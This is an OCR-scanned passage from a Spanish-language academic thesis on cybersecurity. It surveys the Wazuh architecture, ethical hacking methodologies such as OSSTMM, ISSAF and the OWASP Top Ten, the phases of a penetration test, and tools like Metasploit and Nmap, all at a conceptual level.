facil de entender. Filebeat es un agente ligero que se utiliza para enviar logs

desde los sistemas a Elasticsearch para su procesamiento y andlisis.

Arquitectura:

La estructura de Wazuh se fundamenta en agentes que operan en los puntos

terminales bajo supervision y transmiten datos de seguridad a un servidor central.

Dispositivos sin agente, como firewalls, switches, routers y puntos de acceso, también

son compatibles y pueden enviar registros de forma activa a través de Syslog, SSH o

empleando su API. El servidor central decodifica y analiza los datos entrantes, luego

pasa los resultados al indexador de Wazuh para su indexacién y almacenamiento

(Wazuh, 2024).

Figura 3
Arquitectura Wazuh
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La arquitectura de Wazuh se puede implementar de dos maneras principales:
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¢ Arquitectura Centralizada: En esta configuracion, tanto Wazuh como Elastic
Stack se ejecutan en el mismo servidor. Esto significa que tanto el Wazuh
Manager como los componentes de Elastic Stack (Elasticsearch, Kibana y
Filebeat) estdn instalados y funcionando en una sola maquina. Esta arquitectura
es adecuada para entornos pequefios o medianos donde la simplicidad y la
consolidacion de recursos son prioritarias.

e Arquitectura Distribuida: En esta configuracién, Wazuh y Elastic Stack se
ejecutan en servidores diferentes y pueden estar distribuidos en uno o varios
servidores, formando un claster. En esta arquitectura, el Wazuh Manager y los
componentes de Elastic Stack se instalan en servidores separados para distribuir
la carga y aumentar la escalabilidad y la redundancia. Esta configuracion es mas
adecuada para entornos empresariales grandes o donde se requiere alta

disponibilidad y rendimiento.

Ventajas y desventajas de wazuh:

Wazuh presenta una implementacién directa y una interfaz de usuario web
intuitiva, lo que facilita su empleo. Sus opciones flexibles de bisqueda y sus funciones
de generacion de informes simplifican el seguimiento diario de los registros del
servidor. No obstante, el uso elevado de recursos del servidor y la complejidad en la
configuracién de archivos yaml pueden plantear desafios. A pesar de estas limitaciones,
Wazuh sigue siendo una eleccién atractiva para cubrir las necesidades de seguridad
cibernética de las organizaciones, especialmente por su asequibilidad y el respaldo

solido de la comunidad de usuarios (Wazuh, 2024).
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Ventajas

Desventajas

Facilidad de implementaciéon vy
comienzo con la interfaz de usuario
web comun con paneles
preconfigurados.

Funcién de busqueda flexible.

Wazuh ayuda a minimizar los
esfuerzos de recopilacion y el
monitoreo diarios de los registros del
servidor para mas de 10 servidores
con las mejores capacidades de
generacion de informes listas para
usar.

Excelente opcién si se necesita
satisfacer la necesidad de
ciberseguridad de una organizacion
sin mucho costo y con muy buen
soporte de la comunidad de usuarios.

La utilizacion de recursos del lado del
servidor es pesada.

Complejo manejo/configuracion de archivos
yaml.

Limitaciones en la escalabilidad,
especialmente en entornos de gran tamafio.

La curva de aprendizaje puede ser empinada
para usuarios no familiarizados con la
plataforma.

Hacking Etico

Inicialmente, profesionales utilizaron el término "hacking ético" para mejorar la

seguridad y fiabilidad de los sistemas. Se considera a una persona un hacker ético

cuando trabaja para reforzar la seguridad de los sistemas sin comprometerla, mostrando

precaucion y protegiendo los sistemas desde la perspectiva de un hacker. Su labor

implica evaluar la seguridad e identificar vulnerabilidades en sistemas, redes o

infraestructuras, lo que incluye encontrar y explotar ciertas vulnerabilidades para

determinar accesos no autorizados u otras actividades maliciosas. Aquellos que se

dedican a esta tarea y poseen este conocimiento son conocidos como hackers éticos o

hackers de sombrero blanco.
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Tipos de hacking ético

Existen principalmente cuatro tipos diferentes de hacking ético segin el

conocimiento del Hacker.

Hacktivistas:

El hacktivismo representa una modalidad de protesta llevada a cabo por
individuos aficionados o profesionales en seguridad informatica, conocidos como
hackers, con el objetivo de abogar por derechos, promover ideas politicas o expresar
quejas sociales. Esta practica se realiza aprovechando vulnerabilidades de seguridad
en entidades o sistemas gubernamentales. Los hacktivistas, impulsados por motivos
politicos o sociales, realizan acciones para propulsar ideologias politicas, libertad de
expresion, derechos humanos y ética de la informacién. Sus actividades generan
resultados comparables a otras formas de activismo social, como protestas o
desobediencia civil. Entre los grupos de hacktivistas destacados se encuentran
Anonymous, que ha ejecutado ataques contra diversas entidades y gobiernos, y

Wikileaks, que ha revelado documentos de interés publico (Paula Rochina, 2016).

Cyber-Warrior:

Un ciber-guerrero es aquel individuo que se involucra en la ciberguerra, ya sea
por motivos personales o por convicciones patridticas o religiosas. Su participacién
puede dirigirse tanto a la defensa como al ataque de sistemas informaticos y de
informacion. Estos individuos emplean tecnologia de la informacién para llevar a cabo
sus acciones, que pueden incluir ataques cibernéticos como hackeos o estrategias de
defensa para proteger sistemas vulnerables. En respuesta a la creciente amenaza de
ciberguerra, algunas naciones, como Estados Unidos, estdn entrenando a personal

militar para especializarse en ciberseguridad y convertirse en ciber-guerreros capaces
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de defender sus paises en esta nueva forma de conflicto. Por lo tanto, el término "ciber-
guerrero” puede referirse tanto a individuos con intenciones maliciosas como a
profesionales dedicados a la defensa cibernética, dependiendo del contexto en el que

se utilice (Margaret Rouse, 2017).

Hackers de caja blanca:

Las pruebas de penetracién de caja blanca, demoniadas también pruebas de
caja de cristal utilizan la estructura de control de disefio procedimental para obtener
casos de pruebas, realizadas por profesionales contratados por una organizacion,
implican una evaluacion exhaustiva de su sistema o red informética. Estos expertos,
también conocidos como hackers de caja blanca, poseen un profundo conocimiento
del sistema objetivo, lo que les permite identificar y explicar sus vulnerabilidades. Su
objetivo principal es simular ataques desde una perspectiva interna para ofrecer una
evaluacion precisa de la seguridad del sistema, explorando diversos vectores de ataque
y evaluando su capacidad para resistir ataques reales (Anielak et al., 2015).

Estas pruebas van mads alla de la simple identificacién de problemas; también
buscan explotar vulnerabilidades para evaluar el potencial de un ataque real. Se
centran en comprender los posibles motivos y modalidades de ataque, evaluando la
efectividad real del sistema de seguridad. En conjunto, estas evaluaciones son
cruciales para garantizar la robustez y eficacia de las medidas de seguridad de una

organizacion.

Metodologias de hacking ético

La metodologia de hacking ético es un enfoque sistemdtico y ético para evaluar
la seguridad de los sistemas informdticos y las redes, con el objetivo de identificar y

corregir vulnerabilidades antes de que puedan ser explotadas por individuos
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malintencionados. Garantizar una evaluacién de vulnerabilidades efectiva requiere la
seleccion de metodologias y herramientas bien reconocidas en seguridad informatica,
respaldadas por documentacién adecuada y disponibles de forma gratuita o de cédigo
abierto. Esta seleccidon busca maximizar la transparencia y flexibilidad en el proceso,
eliminando costos de licencias y asegurando la independencia en la implementacidn, lo
que facilita la toma de decisiones informadas sobre las opciones mds adecuadas para

las necesidades especificas de la evaluacion.

Metodologia OSSTMM:

La OSSTMM proporciona una evaluacion integral de la seguridad
organizacional al integrar procesos de TI relacionados con la seguridad y considerar
la interconexion entre el personal, los procesos internos, los sistemas y el software.
Dividida en secciones, aborda aspectos como la seguridad de la informacién, los
procesos, las tecnologias de internet, las comunicaciones, la seguridad inaldmbrica y
fisica, entre otros. Cada secciéon comprende una serie de pruebas y evaluaciones
detalladas para asegurar la rigurosidad en la evaluacién de la seguridad en cada 4&mbito
(Pete Herzog & Marta Barcel6, 2010).

A continuacidn, se presenta una descripcion general de las fases:

Fase A: Seguridad de la Informacion

En esta fase se centra en la evaluacion de la seguridad de la informacién dentro
de la organizacion. Se abordan aspectos como la gestion de la informacion sensible, la
proteccién de datos y la preparacidn para posibles incidentes de seguridad.

1. Revision de la Inteligencia Competitiva: Se evalia como se maneja y protege
la informacién sensible relacionada con la inteligencia competitiva de la

empresa. Esto incluye la revision de politicas, procedimientos y tecnologias
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utilizadas para proteger esta informacién contra amenazas internas y externas
(Pete Herzog & Marta Barcelo, 2010).

Revision del Procedimiento: Se revisan los procedimientos establecidos para
el manejo y la proteccidon de la informacién en la organizacién. Esto puede
incluir la revisién de politicas de seguridad de la informacidn, procedimientos
de gestion de incidentes, politicas de acceso y control de datos, entre otros (Pete
Herzog & Marta Barceld, 2010).

Recoleccion de Documentos: Se recopilan documentos relevantes
relacionados con la seguridad de la informacién, como politicas,
procedimientos, registros de auditoria, informes de incidentes, entre otros. Estos
documentos proporcionan informacion importante para evaluar el estado de la
seguridad de la informacién en la organizacion (Pete Herzog & Marta Barcelo,
2010).

Fase B: Seguridad Fisica

Esta fase se centra en evaluar la seguridad fisica de las Instalaciones de la

organizacion, incluidos los controles de acceso fisico y la proteccion de activos fisicos.

1.

Testeo de la Seguridad Fisica: Se lleva a cabo una evaluacion de los controles
de seguridad fisica, como sistemas de acceso, cdmaras de seguridad, cercas
perimetrales, entre otros. El objetivo es identificar posibles puntos débiles en la
seguridad fisica de las Instalaciénes (Pete Herzog & Marta Barceld, 2010).
Fase C: Testeo del Sujeto o Proceso

En esta fase se evaltian los procesos y procedimientos relacionados con la

seguridad, asi como el comportamiento de los empleados en relacion con las politicas

de seguridad de la organizacion.
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Testeo del Sujeto o Proceso Directo: Se evalia la efectividad de los procesos
y procedimientos de seguridad establecidos en la organizacién. Esto puede
incluir la revisién de politicas de seguridad, procedimientos de gestiéon de
contrasefias, controles de acceso, entre otros (Pete Herzog & Marta Barcelo,
2010).

Testeo sobre Personas Confiables: Se evalia el grado de conciencia y
cumplimiento de las politicas de seguridad por parte de los empleados. Esto
puede incluir la realizacion de pruebas de phishing, evaluaciones de conciencia
de seguridad, entre otros (Pete Herzog & Marta Barceld, 2010).

Fase D: Seguridad en Tecnologia e Informatica

Esta fase se centra en evaluar la seguridad de los sistemas de informacién y

tecnologias utilizadas por la organizacion.

1.

Logistica/Comunicaciones: Se evalia la seguridad de los sistemas de
comunicacion utilizados por la organizacién, como redes y sistemas de
comunicaciones. Esto puede incluir pruebas de vulnerabilidad en sistemas de
red, evaluacion de seguridad de protocolos de comunicacion, entre otros (Pete
Herzog & Marta Barcel6, 2010).

Identificacion de Red: Se realiza una evaluacién de la arquitectura de red de
la organizacion para identificar posibles vulnerabilidades y puntos de entrada
para atacantes. Esto puede incluir la revision de la topologia de red,
configuraciones de firewall, sistemas de deteccién de intrusiones, entre otros
(Pete Herzog & Marta Barcel6, 2010).

Fase E: Segmentos y Consideraciones
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Esta fase parece abordar aspectos relacionados con la segmentacién de red y la
evaluacién de la seguridad en puntos especificos dentro de la infraestructura de la
organizacion.

1. Testeo PEK: Se evalta el Plan de Emergencia y Continuidad de Negocio (PEK)
para garantizar que la organizacion esté preparada para responder eficazmente

a incidentes de seguridad y mantener la continuidad del negocio en caso de

interrupciones graves (Pete Herzog & Marta Barcel6, 2010).

Metodologia ISSAF:

El Marco de Evaluacion de Seguridad de Sistemas de Informacién (ISSAF) es
un marco de trabajo que ofrece un plan detallado para modelar y evaluar procesos
internos de seguridad de la informacion. Este enfoque se basa en dominios especificos
que orientan las pruebas, cubriendo una amplia gama de procesos de tecnologia de la
informacién y niveles de organizaciones. Su fortaleza radica en permitir etapas de pre-
evaluacion, ejecucion practica y revision posterior, al integrar herramientas de gestion
para evaluar politicas, procedimientos y riesgos asociados a infraestructuras de TIL.
ISSAF promueve pricticas de mejora continua y responde a estandares y regulaciones
industriales, lo que fortalece la seguridad y la continuidad del negocio (Cristian
Camilo Penagos Muiioz, 2005)

ISSAF proporciona un marco completo para evaluar y mejorar la seguridad de
la informacién en una organizacién, abordando aspectos clave como politicas,
dependencias comerciales, pruebas de seguridad y modelos de evaluacion de riesgos
(Cristian Camilo Penagos Mufioz, 2005)

1. Evaluacion de Politicas:
o Revision detallada de las politicas y procedimientos de seguridad de la

informacién de la organizacion.
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Comparacién de estas politicas con estindares de la industria, como ISO
27001, NIST, COBIT, entre otros, para verificar el cumplimiento.
Verificacién del cumplimiento con las leyes y regulaciones aplicables
en la industria y la ubicacién geografica de la organizacion.

Evaluacién de la efectividad de la implementacién de las politicas en la

practica y la conciencia de los empleados sobre ellas.

2. Dependencias Comerciales:

Identificacion de terceros proveedores de servicios de T1 que son criticos
para las operaciones de la organizacion.

Evaluacion de la seguridad de las dependencias comerciales y su
impacto potencial en la seguridad de la organizacion.

Revision de los acuerdos de nivel de servicio (SLA) y contratos para
garantizar que se aborden adecuadamente las preocupaciones de

seguridad.

3. Pruebas de Seguridad:

Realizacion de evaluaciones de vulnerabilidades para identificar puntos
débiles en la infraestructura de TI, como sistemas, redes y aplicaciones.
Pruebas de penetraciéon para simular ataques reales y evaluar la
efectividad de los controles de seguridad en la deteccion y prevencion
de intrusiones.

Documentacién detallada de los hallazgos de las pruebas de seguridad y

recomendaciones para mitigar los riesgos identificados.

4. Modelos de Evaluacion:

Identificacion y correccion de configuraciones erroneas en sistemas y

dispositivos, como firewalls, servidores y dispositivos de red.



70

e Evaluacién de riesgos relacionados con tecnologias emergentes o
nuevas implementaciones en la organizacion.

e Andlisis de riesgos asociados con personas, incluyendo empleados,
contratistas y usuarios finales, asi como procesos de negocios, como
gestion de accesos y cambios.

e Implementacién de medidas para fortalecer los procesos y tecnologias
existentes, como la mejora de la gestion de parches, la configuracion
segura de sistemas y la concienciacion sobre seguridad entre los

empleados.

OS (OFFENSIVE SECURITY):

La metodologia Offensive Security (OS) se enfoca en el uso de herramientas
informadticas para detectar vulnerabilidades y brechas de seguridad en sistemas de
informacién corporativos. Adopta un enfoque prictico al emplear las mismas
herramientas que podrian utilizar los atacantes reales, sin interrumpir la operacion
normal de la empresa. El proceso de anélisis de seguridad segtin OS se divide en varias
etapas clave, comenzando con la planificacién y el descubrimiento de informacién
relevante sobre la organizacién y su infraestructura. Luego, se realiza un ataque
controlado para explotar las vulnerabilidades identificadas, seguido de generar
informes detallados dirigidos a la alta gerencia y a los profesionales de TI de la
organizacion, resaltando fortalezas, debilidades y recomendaciones para mitigar los
riesgos identificados. Esta metodologia proporciona un enfoque sistemético y
completo para evaluar la seguridad de la informacién en las organizaciones,
ofreciendo una base sélida para la toma de decisiones y la implementacion de medidas

correctivas (Ezequiel Martin Sollis et al., 2010).
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La metodologia Offensive Security (OS) se desarrolla en varias etapas

secuenciales para garantizar una evaluacién exhaustiva de la seguridad de la

informacion en una organizacion:

1.

Planeacion para la implementacion: En esta etapa inicial, se definen los
objetivos del andlisis de seguridad en colaboracién con la direccién de la
empresa. Se determina el alcance del andlisis, los espacios que se van a evaluar
(por ejemplo, la red corporativa, los servicios web, etc.) y se recopila
informacion preliminar sobre la empresa y su infraestructura tecnoldgica
(Ezequiel Martin Sollis et al., 2010).

Descubrimiento para el analisis: Durante esta fase, se recolecta informacion
mas detallada sobre la infraestructura de la organizacion tanto desde una
perspectiva externa como interna. Esto puede incluir andlisis previos de la
informacion recopilada en la etapa de planeacion, asi como el uso de ingenieria
social para obtener informacion adicional (Ezequiel Martin Sollis et al., 2010).
Ataque y verificacion: En esta etapa critica, se lleva a cabo el andlisis practico
de vulnerabilidades mediante la explotacion de los hallazgos identificados
anteriormente. Se utilizan diversas herramientas y técnicas para realizar ataques
controlados y verificar la existencia de vulnerabilidades reales en los sistemas
de informacidn de la organizacion (Ezequiel Martin Sollis et al., 2010).
Consolidacion: Después de la fase de ataque, se eliminan cualquier rastro de
intrusién y se genera un informe detallado que resume los hallazgos del analisis.
Esta etapa implica la creacion de dos informes: uno ejecutivo, dirigido a la alta
gerencia, y otro técnico, destinado a los profesionales de TI y auditoria de la

organizacion (Ezequiel Martin Sollis et al., 2010).
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OWASP (OPEN WEB APPLICATION SECURITY PROJECT):

OWASP (Proyecto Abierto para la Seguridad en Aplicaciones Web) es una
iniciativa de c6digo abierto que se centra en mejorar la seguridad de las aplicaciones
web a través de procesos de verificacion y educacion. Proporciona herramientas
gratuitas y una lista de los diez principales riesgos de seguridad en las aplicaciones
web, conocida como "OWASP Top Ten", que incluye riesgos como inyecciones de
codigo SQL, vulnerabilidades de secuencias de comandos entre sitios (XSS) y
configuraciones de seguridad incorrectas (OWASP, 2021).

Top Ten:

e A01:2021-El Control de Acceso Roto asciende desde la quinta posicién; el
94% de las aplicaciones fueron probadas por algun tipo de control de acceso
roto. Los 34 Enumeraciones de Debilidades Comunes (CWEs) mapeados al
Control de Acceso Roto tuvieron mds ocurrencias en aplicaciones que
cualquier otra categoria (OWASP, 2021).

o A02:2021-Fallas Criptograficas sube una posiciéon al #2, anteriormente
conocido como Exposicién de Datos Sensibles, que era un sintoma amplio en
lugar de una causa raiz. El enfoque renovado aqui estd en las fallas
relacionadas con la criptografia que a menudo lleva a la exposicion de datos
sensibles o compromiso del sistema (OWASP, 2021).

e A03:2021-Inyeccion baja a la tercera posicion. El 94% de las aplicaciones
fueron probadas por algun tipo de inyeccidn, y las 33 CWEs mapeadas en esta
categoria tienen la segunda mayoria de ocurrencias en aplicaciones. La
Secuencias de Comandos entre Sitios ahora es parte de esta categoria en esta
edicion (OWASP, 2021).

e A04:2021-Disefio Inseguro es una nueva categoria para 2021, con un enfoque
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en los riesgos relacionados con fallos de disefio. Si realmente queremos
"movernos a la izquierda" como industria, requiere un mayor uso de modelado
de amenazas, patrones y principios de disefio seguro, y arquitecturas de
referencia (OWASP, 2021).

A05:2021-Configuracién de Seguridad asciende desde el #6 en la edicidn
anterior; el 90% de las aplicaciones fueron probadas por algin tipo de
configuracion incorrecta. Con mds cambios hacia software altamente
configurable, no es sorprendente ver que esta categoria ascienda. La antigua
categoria para Entidades Externas XML (XXE) ahora es parte de esta categoria
(OWASP, 2021).

A06:2021-Componentes Vulnerables y Obsoletos anteriormente titulado Uso
de Componentes con Vulnerabilidades Conocidas y es #2 en la encuesta
comunitaria Top 10, pero también tuvo suficientes datos para hacer el Top 10
a través del andlisis de datos. Esta categoria asciende desde el #9 en 2017 y es
un problema conocido con el que luchamos para probar y evaluar el riesgo. Es
la unica categoria que no tiene ningin CVE mapeado a las CWEs incluidas,
por lo que se consideran automéaticamente pesos de impacto y explotacion de
5.0 en sus puntajes (OWASP, 2021).

A07:2021-Fallas en la Identificacion y Autenticacién anteriormente
Autenticacion Rota y estd bajando desde la segunda posicion, e incluye ahora
CWEs que estdin mds relacionadas con fallas en la identificacion. Esta
categoria sigue siendo una parte integral del Top 10, pero la mayor
disponibilidad de marcos estandarizados parece estar ayudando (OWASP,
2021).

A08:2021-Fallas en la Integridad de Software y Datos es una nueva categoria
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para 2021, enfocidndose en hacer suposiciones relacionadas con
actualizaciones de software, datos criticos, y tuberias CI/CD sin verificar la
integridad. Uno de los impactos més pesados desde los datos de CVE/CVSS
mapeados a las 10 CWEs en esta categoria. La Deserializacion Insegura desde
2017 ahora es parte de esta categoria mas grande (OWASP, 2021).
A09:2021-Fallas en el Registro y Monitoreo de Seguridad anteriormente
Registro y Monitoreo Insuficiente y se agrega desde la encuesta de la industria
(#3), ascendiendo desde #10 anteriormente. Esta categoria se expande para
incluir mds tipos de fallas, es dificil de probar, y no estd bien representada en
los datos de CVE/CVSS. Sin embargo, las fallas en esta categoria pueden
impactar directamente en la visibilidad, alerta de incidentes y forenses
(OWASP, 2021).

A10:2021-Falsificacion de Solicitudes del Lado del Servidor se agrega desde
la encuesta comunitaria Top 10 (#1). Los datos muestran una tasa de incidencia
relativamente baja con una cobertura de prueba por encima del promedio, junto
con calificaciones por encima del promedio para el potencial de explotacion e
impacto. Esta categoria representa el escenario donde los miembros de la
comunidad de seguridad nos estdn diciendo que esto es importante, aunque no
esté ilustrado en los datos en este momento (OWASP, 2021).

Las etapas de la metodologia OWASP son las siguientes:

Identificacion de riesgos: Esta etapa implica evaluar los posibles riesgos de
seguridad en la aplicaciéon web. Los equipos de desarrollo utilizan la lista de
los diez principales riesgos de OWASP como guia para identificar posibles
vulnerabilidades en el cédigo y la arquitectura de la aplicacion (OWASP,

2021).
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¢ Evaluacion de la exposicion: Aqui se determina la exposicion de la aplicacion
a los riesgos identificados durante la etapa anterior. Se evalda el impacto
potencial de estas vulnerabilidades en la seguridad de la aplicacion y en la
integridad de los datos (OWASP, 2021).

e Implementacion de medidas preventivas: En esta etapa, se aplican medidas
preventivas para mitigar los riesgos de seguridad identificados. Los
desarrolladores utilizan herramientas como la Guia de Desarrollo OWASP y
la Guia de Pruebas OWASP para obtener orientacion detallada sobre como
abordar cada riesgo especifico y mejorar la seguridad de la aplicaciéon

(OWASP, 2021).

Fases de hacking ético

El procedimiento de hacking ético consta de cinco etapas distintas. Todo hacker

ético seguird estas etapas secuencialmente para alcanzar su objetivo.

Reconocimiento:

La primera fase, el Reconocimiento, implica recopilar pruebas e informacion sobre
los objetivos a atacar. Puede ser pasivo, donde se recopila informacion sin el
conocimiento del objetivo, o activo, utilizando herramientas y técnicas que interactian
directamente con el objetivo, aumentando el riesgo de deteccion. La informacién
obtenida en esta fase puede no ser completamente fiable, ya que proviene de terceros
(Chowdappa et al., s. f.).

Objetivo: obtener la mayor informacién posible sobre la organizacién, también
conocida como foot printing. El significado literal de reconocimiento significa una
encuesta preliminar para obtener la informacion.

Personas fisicas: recopilar emails, direcciones fisicas, informacion de cuentas de
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redes sociales (Facebook, Twitter, etc.).

Corporaciones: obtener direcciones ip, DNS (AAA, A, PTR, MX), servidores de
correo, archivos publicos.

Técnicas que realizan en esta etapa:

La fase inicial del procedimiento de hacking ético implica el Footprinting, que
consiste en obtener informacién como el rango de red, subredes, activos de host,
puertos abiertos y sistema operativo, entre otros detalles.

Luego, se procede a la Ingenieria Social, que se refiere a las actividades
manipulativas utilizadas por los atacantes para obtener informacion o bienes de las
organizaciones a través de los usuarios legitimos.

Es esencial recordar que, a pesar de la evolucion rapida de las tecnologias que
abordan las vulnerabilidades informaticas, el factor humano sigue siendo crucial en
todas las Tecnologias de la Informacién y la Comunicacion (TIC).

Por lo tanto, es importante que las personas estén conscientes de los
procedimientos que ponen en riesgo la seguridad de la informacion. Durante esta fase
de reconocimiento, se emplean diversas herramientas, como el mapeo de redes y el
andlisis de vulnerabilidades de la red.

Un ejemplo de herramienta es Cheops-ng, que es un sistema de administracion de

redes disenado para mapear y monitorear la red.

Escaneo:

En la segunda fase, Escaneo y Enumeracidn, se utiliza la informacién obtenida,
como dominios o direcciones, para ejecutar activamente herramientas y técnicas y
recopilar informacién mas detallada sobre los objetivos. Esto puede ir desde un simple
escaneo de red para identificar sistemas y puertos habilitados hasta el uso de escaneres

de vulnerabilidades mas complejos.(Chowdappa et al., s. f.).
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Mediante esta técnica, la persona que realiza la prueba puede descubrir facilmente
las puertas abiertas en cualquier red. Durante esta etapa, un hacker siempre intenta
crear un esquema de la red objetivo. Este esquema comprende las direcciones IP de la
red objetivo que estdn activas, la deteccidn de hosts activos, el escaneo de puertos, la
identificacién del sistema operativo, la deteccion de vulnerabilidades, entre otros
aspectos. En algunos casos, la mayoria de los escdneres de vulnerabilidades logran
minimizar los aspectos positivos, y muchas organizaciones los utilizan para detectar
sistemas obsoletos o posibles nuevas vulnerabilidades que podrian ser explotadas por
hackers informaticos (EC-Council, 2012).

Tipo de escaneos

El escaneo de puertos es una técnica vital que permite identificar los servicios
activos en una red junto con sus posibles vulnerabilidades. Empleando el protocolo
TCP, se determinan qué puertos estin abiertos en un host y qué sistema operativo se
estd utilizando. Esta informacion es esencial para los hackers éticos, ya que les ayuda
a fortalecer la seguridad de una red al identificar sus puntos débiles y fortalezas.
Herramientas como Nmap son ampliamente preferidas en este proceso debido a su
potencia y flexibilidad.

Por otro lado, el escaneo de red se enfoca en detectar todos los hosts activos en
una red especifica. El objetivo es evaluar o, en algunos casos, incluso atacar la
seguridad de la red. Las herramientas de escaneo de red permiten identificar las
direcciones IP de cada host activo en la red, brindando asi una visién completa de la
topologia de la red.

El escaneo de vulnerabilidades se centra en identificar debilidades especificas en
los sistemas operativos y otros detalles asociados, como la versidn del sistema

operativo y las actualizaciones instaladas. Estas vulnerabilidades pueden ser



78

aprovechadas por hackers, por lo que es crucial detectarlas y abordarlas antes de que
se conviertan en un riesgo de seguridad. Herramientas como Nessus y OpenVAS son
ampliamente utilizadas para este propésito, ofreciendo una evaluacién exhaustiva de

las vulnerabilidades y ayudando a mantener la seguridad de los sistemas informaticos.

Obtener Acceso:

La tercera fase, la mds crucial, implica romper los controles de seguridad para
obtener acceso no autorizado. En esta etapa, se llevan a cabo ataques que van desde
acceder a una red inaldmbrica con contrasefia débil hasta ejecutar ataques mds
sofisticados como desbordamientos de bufer o inyecciones SQL contra aplicaciones
web. Durante la fase de explotacién, los atacantes buscan activamente
vulnerabilidades previamente identificadas durante la fase de reconocimiento para
obtener acceso al sistema o red objetivo. Utilizando métodos diversos, como
desbordamientos de bufer, secuestro de sesiones y ataques de denegacién de servicio,
los hackers buscan comprometer la seguridad y ganar un control total sobre el sistema.
Una vez obtenido este acceso, pueden hacer acciones maliciosas y potencialmente
dafiinas, aprovechando la arquitectura y configuraciéon del sistema, su nivel de
habilidad y el grado de acceso obtenido. Los ataques de denegacién de servicio
distribuido (DDoS) representan uno de los riesgos mds graves durante esta fase, ya
que pueden causar dafios masivos al coordinar un ataque a gran escala que afecta a
multiples sistemas simultineamente (Chowdappa et al., s. f.).

Durante la fase de explotacién, una herramienta destacada es el Metasploit
Framework, un proyecto de cddigo abierto creado para investigar y aprovechar
vulnerabilidades de seguridad conocidas. Este framework proporciona una amplia
variedad de médulos, incluidos los payloads, que son cédigos disefiados para aprovechar

las vulnerabilidades mencionadas. También incluye encoders, que son c6digos de cifrado
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utilizados para eludir la detecciéon de antivirus y sistemas de seguridad perimetral.
Metasploit facilita la interaccién con herramientas externas como Nmap y Nessus, y ofrece
la capacidad de exportar malware a diversos formatos en sistemas Unix y Windows.
Aunque hay una version de pago que incluye exploits desarrollados, la version gratuita es

s6lida y contiene todas las vulnerabilidades publicas relevantes (Héctor Rizaldos, 2018).

Mantener Acceso:

En la cuarta fase, Mantener Acceso, los atacantes buscan mantener una forma
de regresar al sistema comprometido. Esto se logra mediante la instalacién de
troyanos, rootkits u otros métodos que les permitan acceder nuevamente al sistema
comprometido y utilizarlo para realizar mds ataques.

Cuando un hacker accede al sistema objetivo, puede usarlo como plataforma
para explotar sus recursos y atacar otros sistemas en la red. Este acceso permite al
hacker mantenerse oculto y continuar operando sin ser detectado, eliminando pruebas
de su presencia. Utilizando puertas traseras, troyanos o incluso rootkits en el nivel del
kernel del sistema operativo, los hackers pueden obtener acceso persistente y
privilegiado al sistema, lo que les permite robar informaciéon confidencial como
nombres de usuario, contrasefias y nimeros de tarjetas de crédito. Esta capacidad de
infiltracién y recopilacién de datos confidenciales puede tener un impacto devastador

en la seguridad de una organizacion (Wilhelm, 2010).

Cubrir Huellas o limpieza:

En la fase final, Cubrir Huellas, los atacantes intentan ocultar su presencia y
evitar ser detectados por los sistemas de seguridad. Esto implica técnicas como
eliminar o alterar archivos de registro, ocultar archivos o directorios, y utilizar

conexiones cifradas. Es importante que los ethical hackers limiten sus acciones en esta
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fase para evitar causar dafios o pérdida de datos.

En la etapa final de un ataque, el hacker se esfuerza por eliminar cualquier
evidencia que revele su presencia y acciones en el sistema comprometido para mantenerse
oculto y evitar consecuencias legales. Este proceso, conocido como eliminacién de rastros,
implica restaurar los archivos y configuraciones alterados a su estado original, borrando
cualquier indicio de intrusion. Para lograr este objetivo, los hackers recurren a diversas
estrategias, como la esteganografia, que consiste en ocultar informacién dentro de
archivos multimedia para que pase desapercibida, o el uso de protocolos de tunelizacion
para transferir datos de manera segura a través de la red sin ser detectados. Ademds,
manipulan o suprimen los archivos de registro (logs) que registran las actividades del
sistema, como actualizaciones, modificaciones o errores, para eliminar cualquier
evidencia de su presencia y acciones. Estas acciones son cruciales para asegurar el

anonimato y la impunidad del hacker después del ataque (Chowdappa et al., s. f.).

Herramientas relacionadas con el Hacking Etico

Al buscar herramientas para précticas de penetracion, se encuentran disponibles
una amplia gama de opciones, desde aquellas disefiadas para fines especificos hasta
suites completas que ofrecen una variedad de opciones para llevar a cabo pruebas de
penetracion de manera integral. Aunque existen rankings en linea que destacan las
mejores aplicaciones para este proposito, hay que considerar que no todas las
herramientas son adecuadas para las empresas objetivo. Algunas estdn disefiadas para
objetivos especificos o servicios particulares dentro de una infraestructura tecnolégica.
Por lo tanto, al seleccionar herramientas, es crucial considerar aquellas que cumplan
con los objetivos generales de evaluacién de vulnerabilidades y que puedan adaptarse
a las necesidades especificas de cada empresa segin su arquitectura y requisitos

particulares.
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Metasploit:

Metasploit es una herramienta poderosa que ayuda a los profesionales de
seguridad a validar y explotar vulnerabilidades, permitiéndoles dividir tareas
complejas en acciones mds manejables y ejecutables. Con una interfaz de usuario clara
y amigable, Metasploit facilita la evaluacion de vulnerabilidades y la validacion de la
seguridad en entornos corporativos. Automatiza el proceso de descubrimiento y
explotacidn, ademds de proporcionar las herramientas necesarias para realizar pruebas
de penetraciéon manualmente. Esta plataforma permite buscar puertos y servicios
abiertos, explotar vulnerabilidades, moverse dentro de una red, recopilar pruebas y
generar informes detallados sobre los resultados de las pruebas (Héctor Rizaldos,

2018).

Metasploit ofrece varias versiones, como Metasploit Pro, Express, Community
y Nexpose Ultimate, cada una con sus propias utilidades y funcionalidades en términos
de vulnerabilidad y explotacion. La version principal, Metasploit Framework, sirve
como base de software para el desarrollo de productos comerciales y es una
herramienta de c6digo abierto que permite realizar pruebas de penetracion y diversos

tipos de auditorias de manera gratuita (Rapid7, 2022).

Network Mapper:

Nmap, o Network Mapper, es una herramienta esencial y gratuita para el
escaneo de redes que se incluye en muchas suites de andlisis de vulnerabilidades y
seguridad. Su versatilidad y potencia lo convierten en una opcién popular tanto para
profesionales de seguridad como para administradores de sistemas. Con capacidades
flexibles, Nmap puede sortear obstaculos de seguridad como firewalls y filtros de IP,

realizando escaneos de puertos, identificando sistemas operativos y realizando
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barridos de ping ICMP, entre otras técnicas avanzadas (Sudirman & Akma Nurul
Yaqin, 2021).

Una de las ventajas clave de Nmap es su portabilidad, ya que es compatible
con una amplia gama de sistemas operativos, desde Linux y Windows hasta BSD y
macOS. Su interfaz de linea de comandos y versiones gréificas, como Zenmap, lo
hacen fécil de usar para una variedad de usuarios, respaldado por una documentacién
exhaustiva en linea. Ademds, su naturaleza de c6digo abierto y su enfoque en mejorar
la seguridad de los entornos tecnoldgicos lo han convertido en una herramienta
confiable y ampliamente adoptada en entornos empresariales y de seguridad

(Sudirman & Akma Nurul Yaqin, 2021).

Kali Linux:

